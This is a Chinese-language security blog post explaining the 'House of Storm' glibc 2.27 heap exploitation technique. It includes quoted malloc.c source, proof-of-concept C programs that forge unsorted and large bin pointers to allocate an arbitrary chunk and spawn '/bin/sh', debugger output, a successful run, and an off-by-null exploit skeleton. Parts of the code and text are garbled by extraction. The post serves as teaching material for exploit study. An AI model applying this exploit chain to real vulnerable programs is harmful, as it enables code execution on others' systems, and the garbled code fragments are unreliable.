Ex / 2019-06-04 09:31:00 / 浏览数 5197 安全技术 二进制安全 顶(0) 踩(0)

### 一个很抽象的漏洞

#### 原理

源码截取自glibc-2.27/malloc/malloc.c:3729

该段代码的功能就是在unsorted bin中找到与malloc的chunk相匹配的chunk,如果不匹配就把该unsorted bin放回到它对应的bin中,利用点就在这段代码里面。

```
for (;; )
  {
    int iters = 0;
     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        bck = victim->bk;
        if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)</pre>
            || __builtin_expect (chunksize_nomask (victim)
                  > av->system_mem, 0))
           malloc_printerr ("malloc(): memory corruption");
         size = chunksize (victim);
            If a small request, try to use last remainder if it is the
           only chunk in unsorted bin. This helps promote locality for
           runs of consecutive small requests. This is the only
            exception to best-fit, and applies only when there is
           no exact fit for a small chunk.
         if (in_smallbin_range (nb) &&
            bck == unsorted_chunks (av) &&
             victim == av->last_remainder &&
             (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
             /* split and reattach remainder */
             remainder_size = size - nb;
             remainder = chunk_at_offset (victim, nb);
             unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
             av->last_remainder = remainder;
             remainder->bk = remainder->fd = unsorted_chunks (av);
             if (!in_smallbin_range (remainder_size))
                 remainder->fd_nextsize = NULL;
                 remainder->bk_nextsize = NULL;
             set_head (victim, nb | PREV_INUSE |
                       (av != &main_arena ? NON_MAIN_ARENA : 0));
             set_head (remainder, remainder_size | PREV_INUSE);
             set_foot (remainder, remainder_size);
             check_malloced_chunk (av, victim, nb);
             void *p = chunk2mem (victim);
             alloc_perturb (p, bytes);
             return p;
           }
         /* remove from unsorted list */
         unsorted_chunks (av)->bk = bck;
         bck->fd = unsorted_chunks (av);
         /* Take now instead of binning if exact fit */
```

```
if (size == nb)
             set_inuse_bit_at_offset (victim, size);
             if (av != &main_arena)
      set_non_main_arena (victim);
#if USE_TCACHE
        /* Fill cache first, return to user only if cache fills.
        We may return one of these chunks later. */
        if (tcache nb
         && tcache->counts[tc_idx] < mp_.tcache_count)
         tcache_put (victim, tc_idx);
        return_cached = 1;
         continue;
         else
       {
#endif
             check_malloced_chunk (av, victim, nb);
             void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
#if USE_TCACHE
     }
#endif
           }
         /* place chunk in bin */
         if (in_smallbin_range (size))
             victim_index = smallbin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
          }
         else
             victim_index = largebin_index (size);
             bck = bin_at (av, victim_index);
             fwd = bck->fd;
             /* maintain large bins in sorted order */
             if (fwd != bck)
                 /\! Or with inuse bit to speed comparisons \!\!\!\!\!\!\!\!\!\!\!\!\!\!\!^{*}/\!\!\!\!\!\!\!
                 size |= PREV_INUSE;
                 /* if smaller than smallest, bypass loop below */
                 assert (chunk_main_arena (bck->bk));
                 if ((unsigned long) (size)
             < (unsigned long) chunksize_nomask (bck->bk))
                     fwd = bck;
                     bck = bck->bk;
                     victim->fd_nextsize = fwd->fd;
                     victim->bk_nextsize = fwd->fd->bk_nextsize;
                     fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                 else
                     assert (chunk_main_arena (fwd));
                     while ((unsigned long) size < chunksize_nomask (fwd))</pre>
                         fwd = fwd->fd_nextsize;
             assert (chunk_main_arena (fwd));
                       }
                     if ((unsigned long) size
             == (unsigned long) chunksize_nomask (fwd))
```

```
/* Always insert in the second position. */
                      fwd = fwd->fd;
                     else
                        victim->fd_nextsize = fwd;
                        victim->bk_nextsize = fwd->bk_nextsize;
                        fwd->bk_nextsize = victim;
                        victim->bk_nextsize->fd_nextsize = victim;
                      }
                    bck = fwd->bk;
                   }
              }
            else
              victim->fd_nextsize = victim->bk_nextsize = victim;
           }
        mark_bin (av, victim_index);
        victim->bk = bck;
        victim->fd = fwd;
        fwd->bk = victim;
        bck->fd = victim;
#if USE_TCACHE
    /* If we've processed as many chunks as we're allowed while
   filling the cache, return one of the cached ones. */
    ++tcache_unsorted_count;
    if (return_cached
    && mp_.tcache_unsorted_limit > 0
    && tcache_unsorted_count > mp_.tcache_unsorted_limit)
    return tcache_get (tc_idx);
#endif
#define MAX_ITERS
                      10000
        if (++iters >= MAX_ITERS)
          break;
      }
```

原理就是unsorted bin上面储存了一个还没归位large bin和我们要申请的任意地址,large bin的bk\_nextsize也被我么所控制指向申请的任意地址chunk的size部分,当我们再次申请的chunk的时候,large bin归位,触发的效果就是修改了任意地址chunk的size部分,但进行第二次unsorted bin搜索的时候就能申请到那个任意地址。

# 条件

- 1. 可以控制unsorted bin和large bin
- 2. 任意地址chunk的size的低四位要为0

### 代码解析

由于这个漏洞比较复杂, 我将会用代码来进行解释。

#### 有PIE的情况

```
// compiled: gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct {
   char padding[0x10]; // NULL padding
   char sh[0x10];
}global_container = {"","id"};

int main()
{
   char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

   unsorted_bin = malloc(0x4e8); // size 0x4f0
```

```
//
  malloc(0x18);
  large_bin = malloc(0x4d8); // size 0x4e0
  //
  malloc(0x18);
  // FIFO
  free(large_bin); // ITTchunk
  free(unsorted bin);
  // large_bin ■■
  unsorted_bin = malloc(0x4e8);
  // unsorted_bin ■■
  free(unsorted bin);
  fake_chunk = global_container.sh - 0x10;
  ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
  ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
  ((size_t *)large_bin)[0] = 0; // large_bin->fd
  ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
  ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
  ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
  ptr = malloc(0x48);
  strncpy(ptr, "/bin/sh", 0x48 - 1);
  system(global_container.sh);
  return 0;
下面我将对代码分段解释。
可控的 unsorted bin 和 large bin
unsorted_bin = malloc(0x4e8); // size 0x4f0
//
malloc(0x18);
large_bin = malloc(0x4d8); // size 0x4e0
malloc(0x18);
// FIFO
free(large_bin); // IDEchunk
free(unsorted_bin);
// large_bin ■■
unsorted_bin = malloc(0x4e8);
// unsorted_bin ■■
free(unsorted_bin);
可以看到我们事先申请了两块chunk,一块放在large bin中,一块放在unsorted bin中。这两块chunk我们是可以控制的。
修改 unsorted bin
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
在进行下一次malloc的时候,会先在unsorted
bin中查找size刚好合适的chunk,并会把每次匹配失败的chunk进行归位。这里就是为了构造这样的一个unsorted
bin,所以在下一次malloc的时候,unsorted bin的第一个chunk,也就是我们可以控制的chunk将会归位(回到large
bin),然后对下一个chunk,也就是我们构造的fake_chunk进行匹配。
我们的目的就是为了让fake_chunk可以在下面的代码中直接逃逸出去。
if (size == nb)
  {
    set_inuse_bit_at_offset (victim, size);
```

}

```
set non main arena (victim);
#if USE TCACHE
 /* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
 if (tcache nb
 && tcache->counts[tc_idx] < mp_.tcache_count)
 tcache_put (victim, tc_idx);
 return cached = 1;
 continue;
}
 else
#endif
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
#if USE_TCACHE
#endif
  }
这段代码的功能就是对chunk的size和■■■size进行匹配,如果匹配成功则直接返回该chunk。我们的目的就是利用后面的large bin的成链操作来伪造size。
  注意这里的size都是对齐了的。
修改 unsorted bin
((size_t *)large_bin)[0] = 0; // large_bin->fd
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
//
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
这里我要拆分成两部分来解释,第一部分:
// ____bin__bin___
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
在第一次unsorted bin解链后,chunk要归位到large bin是,会有下面这段代码会被执行到,执行到这里的时候,fwd的值就是我们的large
bin的第一个chunk。
// ......
       bck = fwd->bk;
      }
  }
 else
  victim->fd_nextsize = victim->bk_nextsize = victim;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
从上面可以看到,large bin的bk先赋值给了bck,因为有bck->fd = victim这条代码,如果large
bin的bk指向的是一个不可写的地址的话,执行到这条语句的时候会直接crash。所以我们需要创建假chunk的"bk",以避免从未排序的bin解链接时崩溃。
第二部分,也是最重点的地方了,■■size,这里我们用的是插入large bin的一个漏洞。
//
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
初学者肯定会好奇为什么要这样fake_chunk - 0x18 - 5进行偏移?这还要归咎到下面的代码:
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
```

if (av != &main arena)

```
victim->bk nextsize->fd nextsize = victim;
在第一次解链的时候, victim就是unsorted bin, fwd就是large bin这段代码的目的就是为了把unsorted bin插入到large bin。
victim->bk_nextsize = fwd->bk_nextsize;
首先,将large bin链表转移到要插入的large bin的victim中,这里我用调试的数据来帮助大家理解,运行到这条指令时,调试结果如下:
pwndbg> p victim
$3 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$4 = {
prev_size = 0,
size = 1265,
 fd = 0x0,
bk = 0x555555555555060 < global_container>
 fd_nextsize = 0x555555756510,
bk_nextsize = 0x0
pwndbg> p fwd
$5 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
prev_size = 0,
size = 1249,
 fd = 0x0,
bk = 0x555555755068 <global_container+8>,
 fd_nextsize = 0x0,
bk_nextsize = 0x555555755043
}
执行完这条语句之后:
pwndbg> p victim
$9 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$10 = {
prev_size = 0,
 size = 1265,
 fd = 0x0,
 bk = 0x55555555555060 < global_container>,
 fd_{nextsize} = 0x555555756510,
bk_nextsize = 0x555555755043
pwndbg> p fwd
$11 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
$12 = {
prev_size = 0,
 size = 1249,
 fd = 0x0,
 bk = 0x5555555555568 <global_container+8>,
 fd_nextsize = 0x0,
 bk_nextsize = 0x555555755043
那么它的功能也就是将(size_t)fake_chunk - 0x18 - 5转移到victim->bk_nextsize。
victim->bk_nextsize->fd_nextsize = victim;
在执行这条语句的时候,由于victim->bk_nextsize的地址就是(size_t)fake_chunk - 0x18 -
5的值,那么就相当于我们有一次任意地址写的机会,那么肯定是用来构造我们的size,以便在第二次解链的时候直接返回任意chunk。
0x18就是一个chunk的fd_nextsize的偏移,因为上面的代码是要把victim写在这里,所以我们需要提取向前偏移0x18,而-
5就是为了伪造size,在开启PIE的情况下,一般victim的值在0x555555756000附近左右,当偏移5个字节之后,那么写入size的地址就刚好是0x55,由于受随机化的影响设
获得任意地址
```

所以当我们申请的size和0x55经过对齐后相等的话,那么就可以拿到任意的chunk。

fwd->bk nextsize = victim;

```
ptr = malloc(0x48);
```

return 0;

#### 检查

```
在拿chunk的时候,会对chunk的mmap标志位,这里如果有错的话会直接crash,但是由于程序有随机化,多运行几次总能有一次成功的。
```

```
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
  ar_ptr == arena_for_chunk (mem2chunk (victim)));
运行实例
ex@ubuntu:~/test$ gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
ex@ubuntu:~/test$ ./House_of_Strom
Segmentation fault (core dumped)
ex@ubuntu:~/test$ ./House_of_Strom
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
无PIE的情况
演示代码:
// compiled: gcc -g -no-pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
  char padding[0x10]; // NULL padding
  char sh[0x10];
}global_container = {"","id"};
int main()
  char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
  unsorted_bin = malloc(0x4e8); // size 0x4f0
  //
  malloc(0x18);
  large_bin = malloc(0x4d8); // size 0x4e0
  //
  malloc(0x18);
  // FTFO
  free(large_bin); // BEBEchunk
  free(unsorted_bin);
  // large_bin ■■
  unsorted_bin = malloc(0x4e8);
   // unsorted_bin ■■
  free(unsorted_bin);
  fake_chunk = global_container.sh - 0x10;
   ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
   ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->fd
   ((size_t *)large_bin)[0] = 0; // large_bin->fd
   ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
   ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
   //
   ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 2; // large_bin->bk_nextsize
  ptr = malloc(0x58);
  strncpy(ptr, "/bin/sh", 0x58 - 1);
  system(global_container.sh);
```

}

原理和有PIE的情况是一样的,但是受随机化的影响,chunk的地址可能是0x610000-0x25d0000的任意一个内存页,所以概率是1/32,相对于有PIE的1/3的概率要小很多

```
exploit
```

```
一般 House of Strom 是利用 off by one 漏洞构成 shrin chunk导致 overlaping ,然后在控制large bin和unsorted bin进行House of
Strom,具体格式形似如下:
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
# Ipre_sizeII 0x500 , IIIIII
edit_note(1, 'a'*0x4f0 + p64(0x500))
# IIIunsort bin IIchunk size=0x510
# 2■■prev_size ■ 0x510
delete_note(1)
# off by null \|1\|\|\size\|\|\|0x500\|
# IIII0x500IIIIIIII
edit_note(0, 'a'*(0x18))
alloc_note(0x18) # 1  unsorted bin
alloc_note(0x4d8) # 7 ■■■ 1 ■■
delete note(1)
delete_note(2) # unlink extend
# 2
alloc note(0x30) # 1
alloc_note(0x4e8) # 2
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete note(4)
delete note(5)
alloc_note(0x40) # 4
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
上面的代码来自: http://blog.eonew.cn/archives/709。
总结
这样一个任意地址申请漏洞,危害还是相当大的。
点击收藏 | 0 关注 | 2
<u>上一篇:CVE-2019-0725漏洞利用...</u> <u>下一篇:一次不完美的Jboss渗透</u>
  • 动动手指,沙发就是你的了!
```

## 登录后跟帖

先知社区

# 现在登录

热门节点

技术文章

社区小黑板

目录

RSS <u>关于社区</u> 友情链接 <u>社区小黑板</u>